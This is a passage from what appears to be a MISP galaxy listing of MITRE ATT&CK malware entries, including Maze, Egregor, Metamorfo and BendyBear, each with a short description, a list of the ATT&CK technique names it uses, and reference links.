- uses: misp-galaxy:mitre-attack-pattern="Browser Session Hijacking - T1185" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asynchronous Procedure Call - T1055.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credential API Hooking - T1056.004" with estimative-language:likelihood-probability="almost-certain"

Table 5646. Table References

Links
https://attack.mitre.org/software/S0484
https://securelist.com/the-great-bank-robbery-the-carbanak-apt/68732/
https://www.rsa.com/content/dam/en/white-paper/the-carbanak-fin7-syndicate.pdf
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/carberp

Maze - S0449

[Maze](https://attack.mitre.org/software/S0449) ransomware, previously known as "ChaCha", was discovered in May 2019. In addition to encrypting files on victim machines for impact, [Maze](https://attack.mitre.org/software/S0449) operators conduct information stealing campaigns prior to encryption and post the information online to extort affected companies.(Citation: FireEye Maze May 2020)(Citation: McAfee Maze March 2020)(Citation: Sophos Maze VM September 2020)

The tag is: *misp-galaxy:mitre-malware="Maze - S0449"*

Maze - S0449 is also known as:

- Maze

View relationships graph

Maze - S0449 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic Resolution - T1568" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Run Virtual Instance - T1564.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Language Discovery - T1614.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"

Table 5647. Table References

Links
https://attack.mitre.org/software/S0449
https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/

https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/

Zen - S0494

[Zen](https://attack.mitre.org/software/S0494) is Android malware that was first seen in 2013.(Citation: Google Security Zen)

The tag is: *misp-galaxy:mitre-malware="Zen - S0494"*

Zen - S0494 is also known as:

- Zen

View relationships graph

Zen - S0494 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Code Injection - T1540" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify System Partition - T1400" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Install Insecure or Malicious Configuration - T1478" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Input Injection - T1516" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Generate Fraudulent Advertising Revenue - T1472" with estimative-language:likelihood-probability="almost-certain"

Table 5648. Table References

Links
https://attack.mitre.org/software/S0494
https://security.googleblog.com/2019/01/pha-family-highlights-zen-and-its.html

TERRACOTTA - S0545

[TERRACOTTA](https://attack.mitre.org/software/S0545) is an ad fraud botnet that has been capable of generating over 2 billion fraudulent requests per week.(Citation: WhiteOps TERRACOTTA)

The tag is: *misp-galaxy:mitre-malware="TERRACOTTA - S0545"*

TERRACOTTA - S0545 is also known as:

- TERRACOTTA

View relationships graph

TERRACOTTA - S0545 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task/Job - T1603" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native Code - T1575" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Foreground Persistence - T1541" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Evade Analysis Environment - T1523" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Broadcast Receivers - T1402" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Service - T1481" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Input Injection - T1516" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Generate Fraudulent Advertising Revenue - T1472" with estimative-language:likelihood-probability="almost-certain"

Table 5649. Table References

Links
https://attack.mitre.org/software/S0545
https://www.whiteops.com/blog/terracotta-android-malware-a-technical-study

Egregor - S0554

[Egregor](https://attack.mitre.org/software/S0554) is a Ransomware-as-a-Service (RaaS) tool that was first observed in September 2020. Researchers have noted code similarities between [Egregor](https://attack.mitre.org/software/S0554) and Sekhmet ransomware, as well as [Maze](https://attack.mitre.org/software/S0449) ransomware.(Citation: NHS Digital Egregor Nov 2020)(Citation: Cyble Egregor Oct 2020)(Citation: Security Boulevard Egregor Oct 2020)

The tag is: *misp-galaxy:mitre-malware="Egregor - S0554"*

Egregor - S0554 is also known as:

- Egregor

View relationships graph

Egregor - S0554 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Access Software - T1219" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Group Policy Modification - T1484.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 5650. Table References

Links
https://attack.mitre.org/software/S0554
https://cybleinc.com/2020/10/31/egregor-ransomware-a-deep-dive-into-its-activities-and-techniques/
https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary
https://securityboulevard.com/2020/10/egregor-sekhmets-cousin/

Metamorfo - S0455

[Metamorfo](https://attack.mitre.org/software/S0455) is a Latin-American banking trojan operated by a Brazilian cybercrime group that has been active since at least April 2018. The group focuses on targeting banks and cryptocurrency services in Brazil and Mexico.(Citation: Medium Metamorfo Apr 2020)(Citation: ESET Casbaneiro Oct 2019)

The tag is: *misp-galaxy:mitre-malware="Metamorfo - S0455"*

Metamorfo - S0455 is also known as:

- Metamorfo
- Casbaneiro

View relationships graph

Metamorfo - S0455 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shared Modules - T1129" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="One-Way Communication - T1102.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="GUI Input Capture - T1056.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Transmitted Data Manipulation - T1565.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001" with estimative-language:likelihood-probability="almost-certain"

Table 5651. Table References

Links
https://attack.mitre.org/software/S0455
https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767
https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/

BlackMould - S0564

[BlackMould](https://attack.mitre.org/software/S0564) is a web shell based on [China Chopper](https://attack.mitre.org/software/S0020) for servers running Microsoft IIS. First reported in December 2019, it has been used in malicious campaigns by [GALLIUM](https://attack.mitre.org/groups/G0093) against telecommunication providers.(Citation: Microsoft GALLIUM December 2019)

The tag is: *misp-galaxy:mitre-malware="BlackMould - S0564"*

BlackMould - S0564 is also known as:

- BlackMould

View relationships graph

BlackMould - S0564 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5652. Table References

Links
https://attack.mitre.org/software/S0564
https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/

ProLock - S0654

[ProLock](https://attack.mitre.org/software/S0654) is a ransomware strain that has been used in Big Game Hunting (BGH) operations since at least 2020, often obtaining initial access with [QakBot](https://attack.mitre.org/software/S0650). [ProLock](https://attack.mitre.org/software/S0654) is the successor to PwndLocker ransomware which was found to contain a bug allowing decryption without ransom payment in 2019.(Citation: Group IB Ransomware September 2020)

The tag is: *misp-galaxy:mitre-malware="ProLock - S0654"*

ProLock - S0654 is also known as:

- ProLock

View relationships graph

ProLock - S0654 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 5653. Table References

Links
https://attack.mitre.org/software/S0654
https://groupib.pathfactory.com/ransomware-reports/prolock_wp

SharpStage - S0546

[SharpStage](https://attack.mitre.org/software/S0546) is a .NET malware with backdoor capabilities.(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020)

The tag is: *misp-galaxy:mitre-malware="SharpStage - S0546"*

SharpStage - S0546 is also known as:

- SharpStage

View relationships graph

SharpStage - S0546 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Language Discovery - T1614.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5654. Table References

Links
https://attack.mitre.org/software/S0546
https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/
https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf

BendyBear - S0574

[BendyBear](https://attack.mitre.org/software/S0574) is an x64 shellcode for a stage-zero implant designed to download malware from a C2 server. First discovered in August 2020, [BendyBear](https://attack.mitre.org/software/S0574) shares a variety of features with [Waterbear](https://attack.mitre.org/software/S0579), malware previously attributed to the Chinese cyber espionage group [BlackTech](https://attack.mitre.org/groups/G0098).(Citation: Unit42 BendyBear Feb 2021)

The tag is: *misp-galaxy:mitre-malware="BendyBear - S0574"*

BendyBear - S0574 is also known as:

- BendyBear

View relationships graph

BendyBear - S0574 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Junk Data - T1001.001" with estimative-language:likelihood-probability="almost-certain"

Table 5655. Table References

Links
https://attack.mitre.org/software/S0574
https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/

BackConfig - S0475

[BackConfig](https://attack.mitre.org/software/S0475) is a custom Trojan with a flexible plugin architecture that has been used by [Patchwork](https://attack.mitre.org/groups/G0040).(Citation: Unit 42 BackConfig May 2020)

The tag is: *misp-galaxy:mitre-malware="BackConfig - S0475"*

BackConfig - S0475 is also known as:

- BackConfig

View relationships graph

BackConfig - S0475 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Office Template Macros - T1137.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

Table 5656. Table References

Links
https://attack.mitre.org/software/S0475
https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/

DropBook - S0547

[DropBook](https://attack.mitre.org/software/S0547) is a Python-based backdoor compiled with PyInstaller.(Citation: Cybereason Molerats Dec 2020)

The tag is: *misp-galaxy:mitre-malware="DropBook - S0547"*

DropBook - S0547 is also known as:

- DropBook

View relationships graph

DropBook - S0547 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Web Service - T1567" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Language Discovery - T1614.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
